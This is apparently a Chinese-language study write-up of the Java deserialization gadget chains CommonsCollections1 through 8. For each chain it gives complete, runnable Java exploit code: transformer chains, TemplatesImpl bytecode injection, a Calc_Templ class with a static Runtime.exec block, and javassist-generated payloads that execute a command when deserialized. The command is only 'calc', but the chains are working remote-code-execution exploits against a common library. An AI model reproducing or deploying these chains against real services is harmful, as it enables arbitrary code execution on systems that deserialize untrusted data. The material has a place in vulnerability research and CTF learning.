CommonsCollections1-8

Java反序列化CC1-8链分析

cc1-TransformedMap

  <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod"
                        , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke"
                        , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec"
                        , new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(Runtime.class);
        HashMap hashMap = new HashMap();
        hashMap.put("value", "world");  // 必须设置value值,这是AnnotationInvocationHandler第二个if绕过,同时也是为decorate返回有值
        Map<Object,Object> decorate= TransformedMap.decorate(hashMap,null,chainedTransformer);  //为什么这里只能是Map而不能是TranformedMap是因为后续的CheckSetValue的实际操作是为Map中一对组entry键值对set
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor =  c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class,decorate); // 这里用Target.class是为了绕过AnnotationInvocationHandler中的第一个if
        serialize(o);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}




cc1-LazyMap

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class Main1 {
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
        Class c = Runtime.class;
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(c),
                new InvokerTransformer("getMethod"
                        , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke"
                        , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec"
                        , new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("key","value");
        LazyMap decorateLazyMap = (LazyMap) LazyMap.decorate(map,chainedTransformer);
              //  decorateLazyMap.get(c);
        //找个调用get的地方
     //   sun.reflect.annotation.AnnotationInvocationHandler
       Class aClass= Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
       Constructor constructor = aClass.getDeclaredConstructor(Class.class,Map.class);
       constructor.setAccessible(true);
       InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class,decorateLazyMap);

       Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader()
                , new Class[]{Map.class}, invocationHandler);
        //但此时的proxyMap不能进行序列化,得用AnnotationInvocationHandler对proxyMap进行包裹

       Object invocationHandler1 = (InvocationHandler) constructor.newInstance(Override.class,proxyMap);
        //但此时的proxyMap不能进行序列化,得用AnnotationInvocationHandler对proxyMap进行包裹
        serialize(invocationHandler1);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

cc6

  <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.rmi.CORBA.Tie;
import javax.swing.*;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Main6 {

    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<Object,Object>();
        Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));

        HashMap<Object,Object> map2 = new HashMap<>();

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");

        map2.put(tiedMapEntry,"bbb");
        map.remove("aaa");

        Class c = LazyMap.class;
        Field fieldfactory = c.getDeclaredField("factory");
        fieldfactory.setAccessible(true);
        fieldfactory.set(lazymap,chainedTransformer);
        serialize(map2);
        unserialize("ser6.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser6.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

cc3

  <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>

链子:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Main3 {

    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        byte[] evil = Files.readAllBytes(Paths.get("E://CTF_java//Yaml//target//classes//org//example//Calc_Templ.class"));
        byte[][] codes = {evil};

        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();
        Field _name = templatesClass.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates,"Harder");

        Field _bytecodes = templatesClass.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        _bytecodes.set(templates,codes);

        Field _factory = templatesClass.getDeclaredField("_tfactory");
        _factory.setAccessible(true);
        _factory.set(templates,new TransformerFactoryImpl());
        //templates.newTransformer();
        // 可以用cc1 Transform和LazyMap反射调用 cc6反射调用
//        TrAXFilter trAXFilter = new TrAXFilter(templates);
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap hashMap = new HashMap();
        hashMap.put("value", "world");  // 必须设置value值,这是AnnotationInvocationHandler第二个if绕过,同时也是为decorate返回有值
        Map<Object,Object> decorate= TransformedMap.decorate(hashMap,null,chainedTransformer);  //为什么这里只能是Map而不能是TranformedMap是因为后续的CheckSetValue的实际操作是为Map中一对组entry键值对set
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor =  c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class,decorate); // 这里用Target.class是为了绕过

        //   Transformer transformer =  TemplatesImpl.newTransformer();
//_bytecodes 不能为null _class为null _name不能为null _tfactory不能为空
        serialize(o);
        unserialize("ser3.bin");


    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser3.bin"));
        oos.writeObject(obj);
    }

    public static void SetField(Object object, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        {
            Field field = object.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(object,value);
        }
    }
}

Calc_Templ

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Calc_Templ extends AbstractTranslet {

    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

cc2

    <dependency>  
     <groupId>org.apache.commons</groupId>  
     <artifactId>commons-collections4</artifactId>  
     <version>4.0</version>  
    </dependency>

链子:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;


public class Main2 {

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> aClass = templates.getClass();
        Field _name = aClass.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates,"Harder");
        Field _bytecodes =aClass.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get("E://CTF_java//Yaml//target//classes//org//example//Calc_Templ.class"));
        byte[][] codes = {evil};
        _bytecodes.set(templates,codes);
        Field _tfactory = aClass.getDeclaredField("_tfactory");
        _tfactory.setAccessible(true);
        _tfactory.set(templates,new TransformerFactoryImpl());

        InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});

//        new TransformingComparator();
        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
        //这样设置是为了反序列化的时候不被调用 后续用反射修改回来
        PriorityQueue Prio = new PriorityQueue(transformingComparator);
        Prio.add(templates);
        Prio.add(templates);
        Class<? extends TransformingComparator> aClass1 = transformingComparator.getClass();
        Field transformer = aClass1.getDeclaredField("transformer");
        transformer.setAccessible(true);
        transformer.set(transformingComparator,invokerTransformer);
        serialize(Prio);
        unserialize("ser2.bin");


    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser2.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }


}

Calc_Templ

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Calc_Templ extends AbstractTranslet {

    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

cc4

因为 CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化。

和CC3的前半条链子基本一样

只有最后的触发transform的方式和cc2的一样

所以我感觉就是CC2+CC3

       <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class Main4 {

    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();
        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"Harder");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get("E://CTF_java//Yaml//target//classes//org//example//Calc_Templ.class"));
        byte[][] codes = {evil};
        bytecodesField.set(templates,codes);

        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
        //    templates.newTransformer();
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
                new Object[]{templates});
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        //  instantiateTransformer.transform(TrAXFilter.class);

        TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        serialize(priorityQueue);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Calc_Templ extends AbstractTranslet {

    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

cc5

  <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>

这条链子以类javax.management.BadAttributeValueExpException为起点调用类tiedMapEntry的toString 然后调用LazyMap 的get方法。从而让整条链子 连串起来

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Main4 {

    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap hashMap = new HashMap();
        Map decorateLazyMap = LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateLazyMap, "value");
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Class c = badAttributeValueExpException.getClass();
        Field val = c.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,tiedMapEntry);
        serialize(badAttributeValueExpException);
        unserialize("ser5.bin");


    }
    public static void serialize(Object obj) throws IOException, IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser5.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

cc7

利用HashTable作为起点拼接cc6前半段get

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.swing.text.html.ObjectView;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class Main7 {

    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});

        HashMap hashMap1 = new HashMap();
        HashMap hashMap2 = new HashMap();
        LazyMap decorareLazymap1 = (LazyMap) LazyMap.decorate(hashMap1,chainedTransformer);
        decorareLazymap1.put("yy",1);
        LazyMap decorateLazyMap2 = (LazyMap) LazyMap.decorate(hashMap2,chainedTransformer);
        decorateLazyMap2.put("zZ",1);
        Hashtable hashtable = new Hashtable<>();
        hashtable.put(decorareLazymap1,1);
        hashtable.put(decorateLazyMap2,1);
        Class c = ChainedTransformer.class;
        Field field = c.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer, transformers);
        decorateLazyMap2.remove("yy");
        serialize(hashtable);
        unserialize("ser7.bin");
    }

    public static void serialize(Object obj) throws IOException, IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser7.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

cc8

<dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.22.0-GA</version>
        </dependency>
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;

public class Main8 {

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {

        ClassPool pool = ClassPool.getDefault();  // 获取javassist维护的类池
        CtClass cc = pool.makeClass("Test");  // 创建一个空类Test
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);  //insertBefore创建 static 代码块,并插入代码
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));  //setSuperclass更改父类
        byte[] bytes = cc.toBytecode();  //toBytecode()获取修改的字节码
        //byte[] bytes = Base64.decode("恶意类");
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_name", "xxxx");
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        //构造利用链

        Transformer            transformer = new InvokerTransformer("toString", new Class[]{}, new Object[]{});
        TransformingComparator comparator  = new TransformingComparator(transformer);

        // prepare CommonsCollections object entry point
        TreeBag tree = new TreeBag(comparator);
        tree.add(templatesImpl);

        Field field = InvokerTransformer.class.getDeclaredField("iMethodName");
        field.setAccessible(true);
        field.set(transformer, "newTransformer");


        serialize(tree);
        unserialize("ser8.bin");
    }
    public static void serialize(Object obj) throws IOException, IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser8.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}